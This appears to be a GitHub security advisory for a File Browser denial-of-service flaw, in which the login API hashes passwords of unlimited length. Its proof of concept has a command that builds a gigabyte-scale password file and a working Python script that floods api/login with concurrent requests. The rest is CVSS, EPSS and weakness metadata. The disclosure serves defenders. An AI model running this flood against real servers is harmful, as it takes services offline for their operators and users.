Skip to content

File Browser has a DoS Vulnerability via Public Login API

High severity GitHub Reviewed Published Jun 3, 2026 in filebrowser/filebrowser • Updated Jun 12, 2026

Package

gomod github.com/filebrowser/filebrowser (Go)

Affected versions

<= 1.11.0

Patched versions

None
gomod github.com/filebrowser/filebrowser/v2 (Go)
<= 2.63.5
2.63.6

Description

Summary

Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.

Details

When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.

PoC

Create a file with a large password using this command:

yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt

This makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:

docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser

After running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio ). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.

import aiohttp
import asyncio
from time import perf_counter

url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
    async with semaphore:
        try:
            async with session.post(url, json=body) as response:
                print(response.status)
        except asyncio.TimeoutError:
            print('Request timed out')
        except aiohttp.ConnectionTimeoutError:
            print('Request timed out')
        except Exception as e:
            print(f"Unexpected error {e}")

async def main():
    with open("./large-password.txt", "r") as f:
        file_contents = f.read()

    body = {
        "username": "admin",
        "password": file_contents,
        "recaptcha": ""
    }

    headers = {"Content-Type": "application/json"}
    semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)

    async with aiohttp.ClientSession(headers=headers) as session:
        tasks = [
            make_request(session, body, semaphore)
            for _ in range(TOTAL_REQUESTS)  
        ]

        start = perf_counter()
        await asyncio.gather(*tasks)
        end = perf_counter()

        print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")

if __name__ == "__main__":
    asyncio.run(main())

Impact

The vulnerability impacts anyone who uses this service.

References

@hacdias hacdias published to filebrowser/filebrowser Jun 3, 2026
Published to the GitHub Advisory Database Jun 12, 2026
Reviewed Jun 12, 2026
Last updated Jun 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Improper Validation of Specified Quantity in Input

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties. Learn more on MITRE.

CVE ID

CVE-2026-54092

GHSA ID

GHSA-w5fm-68j4-fpc4

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.